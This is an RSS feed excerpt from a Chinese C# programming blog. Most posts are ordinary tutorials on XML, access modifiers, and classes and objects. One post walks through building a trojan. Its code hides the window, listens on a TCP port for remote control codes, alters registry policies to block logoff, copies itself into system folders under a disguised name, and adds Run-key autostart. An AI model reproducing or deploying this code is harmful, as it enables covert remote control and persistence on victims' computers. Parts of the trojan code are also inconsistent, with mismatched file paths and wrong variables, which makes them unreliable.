								<br />    在介绍完第一种方法以后，我想每一个读者都感觉到用c＃创建xml文档是一项比较烦杂的工作了，因为不仅要了解创建的知识，还要了解文档的结构，这样创建的过程就是一步一步的了。下面就来介绍一种比较容易的创建方法，这种创建方法是直接定义xml文档，然后把他保存到文件中就可以了。 <br />    ◇创建一个xml文档： <br />    这一点和第一种方法一样，在这里就不介绍了。 <br /><br />　　◇通过"xmldocument"类中的"loadxml"方法，直接在文档中加入想要加入的xml数据。当然你加入的xml应该符合xml的语法，不然产生的文件也没有什么意义了。下面是加入xml的具体代码： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom8">doc.loadxml ( <br />"&lt;employees&gt; " +<br />"&lt;no1&gt;" +<br />"&lt;name&gt;ma jin hu&lt;/name&gt;" +<br />"&lt;zip&gt; 239000 &lt;/zip&gt;" +<br />"&lt;address&gt;feng huang street&lt;/address&gt;" +<br />"&lt;city&gt;chu zhou city&lt;/city&gt;" +<br />"&lt;state&gt; anhui &lt;/state&gt;" +<br />"&lt;/no1&gt;" +<br />"&lt;no2&gt;" +<br />"&lt;name&gt;wang tian&lt;/name&gt;" +<br />"&lt;zip&gt; 239000 &lt;/zip&gt;" +<br />"&lt;address&gt;lang ya street&lt;/address&gt;" +<br />"&lt;city&gt;he fei city&lt;/city&gt;" +<br />"&lt;state&gt; anhui &lt;/state&gt;" +<br />"&lt;/no2&gt;" +<br />"&lt;no3&gt;" +<br />"&lt;name&gt;zou wen biao&lt;/name&gt;" +<br />"&lt;zip&gt; 100000 &lt;/zip&gt;" +<br />"&lt;address&gt;sai di street&lt;/address&gt;" +<br />"&lt;city&gt;bei jin city&lt;/city&gt;" +<br />"&lt;state&gt;bei jin&lt;/state&gt;" +<br />"&lt;/no3&gt;" +<br />"&lt;/employees&gt;" ) ; <br /></font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">　　把保存xml文档到文件中： <br />　　保存xml文档是通过"xmldocument"类中的"save"方法来实现的。具体如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom9">doc.save ( "data.xml" ) ; </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　◇c＃创建xml文档的第二种方法的源程序代码（no2.cs）： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom10">using system ;<br />using system.io ;<br />using system.xml;<br />public class sample<br />{<br />public static void main ( )<br />{<br />//创建一个xmldocument对象<br />xmldocument doc = new xmldocument ( ) ;<br />doc.loadxml ( <br />"&lt;employees&gt; " +<br />"&lt;no1&gt;" +<br />"&lt;name&gt;ma jin hu&lt;/name&gt;" +<br />"&lt;zip&gt; 239000 &lt;/zip&gt;" +<br />"&lt;address&gt;feng huang street&lt;/address&gt;" +<br />"&lt;city&gt;chu zhou city&lt;/city&gt;" +<br />"&lt;state&gt; anhui &lt;/state&gt;" +<br />"&lt;/no1&gt;" +<br />"&lt;no2&gt;" +<br />"&lt;name&gt;wang tian&lt;/name&gt;" +<br />"&lt;zip&gt; 239000 &lt;/zip&gt;" +<br />"&lt;address&gt;lang ya street&lt;/address&gt;" +<br />"&lt;city&gt;he fei city&lt;/city&gt;" +<br />"&lt;state&gt; anhui &lt;/state&gt;" +<br />"&lt;/no2&gt;" +<br />"&lt;no3&gt;" +<br />"&lt;name&gt;zou wen biao&lt;/name&gt;" +<br />"&lt;zip&gt; 100000 &lt;/zip&gt;" +<br />"&lt;address&gt;sai di street&lt;/address&gt;" +<br />"&lt;city&gt;bei jin city&lt;/city&gt;" +<br />"&lt;state&gt;bei jin&lt;/state&gt;" +<br />"&lt;/no3&gt;" +<br />"&lt;/employees&gt;" ) ;<br />//保存这个文档到文件中<br />doc.save ( "data.xml" ) ;<br />}<br />} </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />    用c＃创建xml文档的方法其实有很多，在这里只是选取了二种比较典型的方法加以介绍。但无论那一种方法，c＃在创建xml的时候都需要用到.net framework sdk。所以了解并掌握这个类库中的内容对于c＃编程是十分必要的，在下面我们将来介绍一下用c＃读取xml中的数据，通过这你会发现，c＃又是利用这个类库实现这个功能的。 <br /><br />    <font color="#000099"><b>三</b></font><b><font color="#000099">.c＃读取xml文件： </font></b><br />　　本节将用c＃来读取本文中用第二种方法创建的xml文件，编译no2.cs后，执行将产生"data.xml"文件，其中"data.xml"文件的数据结构如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom11">&lt;employees&gt;<br />&lt;no1&gt;<br />&lt;name&gt;ma jin hu&lt;/name&gt;<br />&lt;zip&gt; 239000 &lt;/zip&gt;<br />&lt;address&gt;feng huang street&lt;/address&gt;<br />&lt;city&gt;chu zhou city&lt;/city&gt;<br />&lt;state&gt; anhui &lt;/state&gt;<br />&lt;/no1&gt;<br />&lt;no2&gt;<br />&lt;name&gt;wang tian&lt;/name&gt;<br />&lt;zip&gt; 239000 &lt;/zip&gt;<br />&lt;address&gt;lang ya street&lt;/address&gt;<br />&lt;city&gt;he fei city&lt;/city&gt;<br />&lt;state&gt; anhui &lt;/state&gt;<br />&lt;/no2&gt;<br />&lt;no3&gt;<br />&lt;name&gt;zou wen biao&lt;/name&gt;<br />&lt;zip&gt; 100000 &lt;/zip&gt;<br />&lt;address&gt;sai di street&lt;/address&gt;<br />&lt;city&gt;bei jin city&lt;/city&gt;<br />&lt;state&gt;bei jin&lt;/state&gt;<br />&lt;/no3&gt;<br />&lt;/employees&gt; <br /></font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us">
						<font class="f14" id="zoom">
								<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">　　</span>
						</font>
				</span>
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">在下面的内容中，我们利用c＃读取此文件，并用listview组件按照数据结构给显示出来。下图是读取此xml后的运行界面： <br />　　图01：c＃读取xml后的运行界面 <br />　　　　　　　　　　　　<img style="WIDTH: 480px; HEIGHT: 290px" height="33" src="http://www.infosecurity.org.cn/article/images/2005061209/20056121455749277802.gif" width="35" /><br /><br />　　要正确读取xml数据，首先要了解xml的结构。根据上面的xml文件，可以知道此xml包含三个数据，下面就来看如何读取这三条数据： <br /><br />　　◇装入xml文件，形成数据流： <br />　　通过创建一个"xmldocument"对象，然后利用"load"方法，可以把xml文件装入，具体如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom12">xmldocument doc = new xmldocument ( ) ;<br />// 装入指定的xml文档<br />doc.load ( "c:\\data.xml" ) ; </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　◇读取xml文件，并显示出来： <br />　　读取xml是通过创建"xmlnodereader"对象来实现的，"xmlnodereader"对象主要是用来可以读取xml的节点数据。在本文的程序中使用到了一些"xmlnodereader"的属性，譬如"nodetype"属性，用来判断读取得节点是什么类型。"value"是节点的值。下面是读取xml文件并显示在listview中的实现代码，其中listview1是已经创建listview组件： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom13">while ( reader.read ( ) ) <br />{<br />//判断当前读取得节点类型<br />switch ( reader.nodetype )<br />{<br />case xmlnodetype.element :<br />s = reader.name ;<br />break ;<br />case xmlnodetype.text :<br />if ( s.equals ( "name" ) )<br />myitem = listview1.items.add ( reader.value ) ;<br />else<br />myitem.subitems.add ( reader.value ) ;<br />break ;<br />} <br />} </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　<font color="#000099"><b>四.c＃读取xml的文件的源程序代码（read.cs）： </b></font><br />　　在了解了上面的内容以后，可以得到用c＃读取指定xml文件的完整代码，具体如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom14">using system ;<br />using system.drawing ;<br />using system.collections ;<br />using system.componentmodel ;<br />using system.windows.forms ;<br />using system.data ;<br />using system.xml ;<br />public class form1 : form<br />{<br />private button button1 ;<br />private listview listview1 ;<br />private system.componentmodel.container components = null ;<br /><br />public form1 ( )<br />{<br />//初始化窗体中的各个组件<br />initializecomponent ( ) ;<br />}<br />//清除程序中使用过的资源<br />protected override void dispose ( bool disposing )<br />{<br />if ( disposing )<br />{<br />if ( components != null ) <br />{<br />components.dispose ( ) ;<br />}<br />}<br />base.dispose ( disposing ) ;<br />}<br />private void initializecomponent ( )<br />{<br />button1 = new button ( ) ;<br />listview1 = new listview ( ) ;<br />suspendlayout ( ) ;<br /><br />button1.anchor = ( ( anchorstyles.bottom | anchorstyles.left ) <br />| anchorstyles.right ) ;<br />button1.location = new point ( 240 , 296 ) ;<br />button1.name = "button1" ;<br />button1.size = new size ( 112 , 37 ) ;<br />button1.tabindex = 0 ;<br />button1.text = "读取xml文档" ;<br />button1.click += new system.eventhandler ( button1_click ) ;<br /><br />listview1.anchor = ( ( ( anchorstyles.top | anchorstyles.bottom ) <br />| anchorstyles.left ) <br />| anchorstyles.right ) ;<br />listview1.gridlines = true ;<br />listview1.location = new point ( 10 , 9 ) ;<br />listview1.name = "listview1" ;<br />listview1.size = new size ( 623 , 269 ) ;<br />listview1.tabindex = 1 ;<br />listview1.view = view.details ;<br /><br />this.autoscalebasesize = new size ( 6 , 14 ) ;<br />this.clientsize = new size ( 608 , 348 ) ;<br />this.controls.add ( listview1 );<br />this.controls.add ( button1 );<br />this.name = "form1" ;<br />this.startposition = formstartposition.centerscreen ;<br />this.text = "用c＃来读取xml文档" ;<br />this.resumelayout ( false ) ;<br /><br />}<br />static void main ( ) <br />{<br />application.run ( new form1 ( ) ) ;<br />}<br /><br />private void button1_click ( object sender , system.eventargs e )<br />{<br />listviewitem myitem = new listviewitem ( ) ;<br />// 构建listview组件<br />listview1.columns.clear ( ) ; <br />listview1.items.clear ( ) ;<br />listview1.columns.add ( "name" , 80 , horizontalalignment.left ) ; <br />listview1.columns.add ( "zip" , 80 , horizontalalignment.left ) ; <br />listview1.columns.add ( "address" , 80 , horizontalalignment.left ) ; <br />listview1.columns.add ( "city" , 80 , horizontalalignment.left ) ; <br />listview1.columns.add ( "state" , 80 , horizontalalignment.left ) ; <br />xmlnodereader reader = null ;<br /><br />try<br />{<br />string s = "" ;<br />xmldocument doc = new xmldocument ( ) ;<br />// 装入指定的xml文档<br />doc.load ( "c:\\data.xml" ) ;<br />// 设定xmlnodereader对象来打开xml文件<br />reader = new xmlnodereader ( doc ) ;<br />// 读取xml文件中的数据，并显示出来<br />while ( reader.read ( ) ) <br />{<br />//判断当前读取得节点类型<br />switch ( reader.nodetype )<br />{<br />case xmlnodetype.element :<br />s = reader.name ;<br />break ;<br />case xmlnodetype.text :<br />if ( s.equals ( "name" ) )<br />myitem = listview1.items.add ( reader.value ) ;<br />else<br />myitem.subitems.add ( reader.value ) ;<br />break ;<br />} <br />}<br />}<br />finally<br />{<br />//清除打开的数据流<br />if ( reader != null )<br />reader.close ( ) ;<br />}<br />}<br />} </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　<b><font color="#000099">五．总结： </font></b><br />　　c＃和xml的渊源是很深的，本文只是从一个侧面反映了二者关系的密切程度。在.net framework sdk中存在许多可以直接操作xml的类库，掌握这些类库的使用方法，对用c＃开发和xml相关程序是十分必要的。 </font>
				</span>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/80699.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-11-12 15:17 <a href="http://www.blogjava.net/zengke/articles/80699.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>public,protected 和private</title><link>http://www.blogjava.net/zengke/articles/77990.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Mon, 30 Oct 2006 02:22:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/77990.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/77990.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/77990.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/77990.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/77990.html</trackback:ping><description><![CDATA[
		<font face="Verdana">
				<font size="2">
						<font style="BACKGROUND-COLOR: #ffffff" color="#000000">public</font>,protected 和private是面向对像编程封装机制的三种声明状态. <br />public 公有的,由它声明的方法和数据可以在对类外部调用,起到接口的作用. <br />protected受保护类型,声明的方法可以被叫它所继程类访问,但不能在外部访问. <br />private私有类型,声明的方法和数据只能在本类中进行访问.</font>
		</font>
<img src ="http://www.blogjava.net/zengke/aggbug/77990.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-10-30 10:22 <a href="http://www.blogjava.net/zengke/articles/77990.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用C#实现木马程序</title><link>http://www.blogjava.net/zengke/articles/77726.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Fri, 27 Oct 2006 12:19:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/77726.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/77726.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/77726.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/77726.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/77726.html</trackback:ping><description><![CDATA[
		<font size="2">要实现木马服务的程序，主要实现以下几个功能：后台的运行（隐藏技术），控制码的接收与注册表的修改，下面对这三方面做介绍：<br /><br /><br /><br />　　1、在VC#中，建立一个后台服务程序是很容易的，先建立一个新的C#的Windows应用程序，项目名称自定（不过为了隐藏可使用与系统相近的名称），将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示，并将属性“Windowstate”属性设为Mininized即可，这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置，此函数起初始化的作用，在窗体显示前运行，代码如下：<br /><br /><br /><br /><br /><br />private void InitializeComponent()<br />{<br />// <br />// Form1<br />// <br />//窗体显示的起点和大小<br />this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);<br />this.ClientSize = new System.Drawing.Size(368, 357);<br />//窗体名称<br />this.Name = "Form1";<br />//设置属性让它后台运行<br />this.ShowInTaskbar = false;<br />this.Text = "Form1";<br />this.WindowState = System.Windows.Forms.FormWindowState.Minimized;<br />} <br /><br /><br />　　2、控制代码的接收，必需在服务程序运行开始就启动，所以侦听线程必需在程序初始化中启动，所以放在窗体的构造函数中，代码注解如下：<br /><br /><br /><br /><br /><br /><br /><br />public Form1() //窗体的构造函数<br />{<br />//<br />// Windows 窗体设计器支持所必需的<br />//<br />InitializeComponent();<br /><br /><br /><br />//<br />// TODO: 在 InitializeComponent 调用后添加任何构造函数代码<br />//加入你的侦听代码<br />//端口你可以自已设定,我使用了固定的端口<br />int port =6678;<br />//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的<br />listener = new TcpListener(port);<br />//启动侦听<br />listener.Start();<br />//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()<br />//reControlCode 是线程启动执行的函数，此函数根据接收的控制<br />//控制码选取合适的注册表修改函数<br />Thread thread = new Thread(new ThreadStart(reControlCode));<br />thread.Start();<br />}<br />reControlCode函数如下，完整代码见程序<br />private void reControlCode()<br />{<br />//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求<br />socket = listener.AcceptSocket();<br />//如果连接成功执行<br />while (socket.Connected)<br />{<br />//接收控制码<br />byte [] by =new byte[6];<br />int i = socket.Receive(by,by.Length ,0);<br />string ss = System.Text.Encoding.ASCII.GetString(by);<br />//根据控制码执行不同的功能 <br /><br />//修改注册表加入编码<br />switch (ss)<br />{<br />case "jiance"://测试连接,返回测试信息<br />string str ="hjc";<br />byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);<br />socket.Send(bytee,0,bytee.Length,0);<br />break;<br />case "zx1000":<br />//修改注册表函数,自已定义，见下面分析 <br />UnLogOff();<br />//返回控制消息<br />retMessage();<br />break;<br /><br /><br /><br />case "zx0100":<br />//修改注册表函数<br />UnClose();<br />//返回控制消息<br />retMessage();<br />break;<br />//重复的case功能与前面一样,略掉<br />default: <br />break;<br />}//case<br />}//while<br />} //private void reControlCode <br /><br /><br /><br />　　3、C#中实现注册表的修改，使用了.NET类库中的System.Microsoft.Win32命令空间，它提供两种类型的类：处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序：使计算机不能注销。在这之前先了解注册表，在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer<br />下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改：<br /><br /><br /><br /><br /><br />private void UnLogOff()<br />{<br />//得到主机的注册表的顶级节点<br />Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;<br />//设置一个注册表子键的变量<br />RegistryKey key1;<br />try<br />{<br />//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键<br />//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改<br />key1 =<br />rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);<br />//设置子键的键名，和值<br />key1.SetValue ("NoLogOff",1);<br />//关闭打开的子键<br />key1.Close();<br />//警告字符串设定<br />mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";<br />}<br />catch{}<br />//如果不存在自已建立<br />if(key1 ==null)<br />{<br />try<br />{<br />//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键<br />RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");<br />key2.SetValue("NoLogOff",1);<br />key2.Close();<br />mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";<br />}<br />catch{}<br />}<br />} <br /><br /><br />　　4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下，主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe，同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。<br /><br /><br /><br /><br /><br />private void moveCC1()<br />{<br />try<br />{<br />//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用<br />//sourceFileName为要移动的文件名，destFileName为文件的新路径<br />File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");<br />}<br />catch {}<br />//将新移的木马程序设为自启动.分析和前面一样<br />try<br />{<br />key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);<br />key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");<br />key1.Close();<br />}<br />catch{}<br />if(key1 ==null)<br />{<br />try<br />{<br />RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");<br />key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");<br />key1.Close();<br />}<br />catch{}<br />}<br />} //moveCC1() <br /></font>
<img src ="http://www.blogjava.net/zengke/aggbug/77726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-10-27 20:19 <a href="http://www.blogjava.net/zengke/articles/77726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>HOW TO：在 C# .NET 中创建类和对象</title><link>http://www.blogjava.net/zengke/articles/76409.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Fri, 20 Oct 2006 08:35:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/76409.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/76409.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/76409.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/76409.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/76409.html</trackback:ping><description><![CDATA[
		<h2 class="subTitle">
				<font size="2">概要<br />C# 是一种面向对象的编程语言。 可以定义类以表示应用程序中的类型，然后创建对象作为这些类的实例。 </font>
		</h2>
		<h2 class="subTitle">
				<font size="2">在 C# 中，类可以包含字段、方法、属性和索引器。 在本文中，您将学习如何在 C# 中新建一个表示棒球队 (Baseball Team) 的类。 将给该类定义字段、方法和属性。接着将创建此类类型的一个对象并利用其方法和属性。 </font>
		</h2>
		<h2 class="subTitle">
				<font size="2">新建类 <br />1. 从项目菜单上，单击添加类。  <br />2. 在添加新项对话框的类名中，键入 BaseballTeam，然后单击打开。  <br />3. 在“代码视图”窗口中检查该新类的代码。  </font>
		</h2>
		<h2 class="subTitle">
				<font size="2">定义字段和构造函数 <br />1. 在视图菜单上，单击类视图。 在“类视图”窗口中，展开 ClassesAndObjects 项目，然后展开 ClassesAndObjects 名称空间。 右键单击 BaseballTeam 类，选择添加，然后单击添加字段。  <br />2. 在 C# 字段向导中，将字段访问设置为 private，并将字段类型设置为 string。 在字段名中，键入 name。单击完成。 此时，就会将以下字段添加到该类中： <br />private string name;<br /> <br />3. 重复步骤 1 和 2（或手动键入代码）以添加另一个字段，如下所示： <br />private string stadium;<br /> <br />4. 再添加两个字段，并提供初始字段值，如下所示：<br /> private int wins = 0;<br />private int defeats = 0;<br /> <br />5. 修改该类的构造函数，以初始化球队和体育场 (stadium) 的名称：<br />public BaseballTeam(string n, string s)<br />{<br />   this.name = n;<br />   this.stadium = s;<br />}</font>
		</h2>
		<h2 class="subTitle">
				<font size="2">定义方法 <br />1. 在类视图中，右键单击 BaseballTeam 类。 选择添加，然后单击添加方法。  <br />2. 将方法访问设置为 public，并将返回类型设置为 void。 在方法名称中，键入 PlayGame。 添加两个名为 runsFor 和 runsAgainst 的 int 参数。单击完成。 此时，就会将以下方法添加到该类中： <br />public void PlayGame(int runsFor, int runsAgainst)<br />{<br />}<br />3. 定义方法体，如下所示： <br />public void PlayGame(int runsFor, int runsAgainst)<br />{<br />   if (runsFor &gt; runsAgainst)<br />      this.wins++;<br />else<br />      this.defeats++;<br />}<br />4. C# 中的所有类最终都是从名为 Object 的基类继承而来的。此类定义了所有类的通用功能。以 ToString 方法为例，它返回一个字符串形式的类状态。 在您的 BaseballTeam 类中重写此方法，如下所示： public override string ToString()<br />{<br />   return this.name + ", play at " + this.stadium + ": " +<br />          " W" + this.wins + " L" + this.defeats;<br />}</font>
		</h2>
		<h2 class="subTitle">
				<font size="2">定义重载方法<br />C# 支持重载方法，它是指名称相同但签名不同的方法。 在下面的步骤 2 中，将定义 PlayGame 方法的一个重载版本，该方法将比赛结果作为参数。 <br />1. 首先，在 BaseballTeam 类中定义一个 enum，如下所示： public enum Result {Win, Lose}<br />2. 另创建一个 PlayGame 方法，如下所示： public void PlayGame(Result r)<br />{<br />   if (r == Result.Win)<br />      this.wins++;<br />   else if (r == Result.Lose)<br />      this.defeats++;<br />}</font>
		</h2>
		<h2 class="subTitle">
				<font size="2">定义属性<br />1. 在类视图中，右键单击 BaseballTeam 类。 选择添加，然后单击添加属性。  <br />2. 将属性访问设置为 public，并将属性类型设置为 double。 在属性名中，键入 Record。 单击 get 单选按钮，然后单击完成。 此时，就会将以下属性添加到该类中： public double Record<br />{<br />   get<br />   {<br />      return 0;<br />   }<br />}<br />3. 按以下方式修改该属性，使其返回棒球队的比赛记录（例如，如果本队赢得 10 场比赛，输掉 10 场比赛，则该队的记录为 0.5）： public double Record<br />{<br />   get<br />   {<br />      int played = this.wins + this.defeats;<br />      return (double)this.wins / played;<br />   }<br />}<br />4. 添加一个名为 Ballpark 的获取/设置属性，如下所示。 该属性允许读取或更改棒球队的 stadium 字段： public string Ballpark<br />{<br />   get <br />   {<br />      return this.stadium; <br />   }<br />   set <br />   {<br />      this.stadium = value;  // value is an implicit parameter<br />   }<br />}</font>
		</h2>
		<h2 class="subTitle">
				<font size="2">创建并使用一个对象<br />1. 在“代码视图”窗口中显示 Class1.cs 的代码。  <br />2. 在 Main 方法中，使用 new 运算符创建一个 BaseballTeam 对象。 将对该对象的引用赋值给 BaseballTeam 局部变量，如下所示：<br />BaseballTeam sf = new BaseballTeam("San Francisco Giants", <br />                                   "Candlestick Park");<br />3. 添加下列代码以便在对象上测试公用方法： <br />sf.PlayGame(7, 2);<br />sf.PlayGame(BaseballTeam.Result.Lose);<br />4. 添加下列语句以检验对象的属性： <br />Console.Out.WriteLine("Record: " + sf.Record);<br />sf.Ballpark = "3Com Park";<br />5. 显示对象的当前状态，如下所示：<br />Console.Out.WriteLine(sf.ToString());<br />6. 将对该对象的引用设置为 null，表明您不再需要 BaseballTeam 对象。 这样，就可以将该对象作为垃圾回收（注意，C# 没有 delete 运算符）：<br />sf = null;</font>
		</h2>
		<div class="sbody"> </div>
<img src ="http://www.blogjava.net/zengke/aggbug/76409.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-10-20 16:35 <a href="http://www.blogjava.net/zengke/articles/76409.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>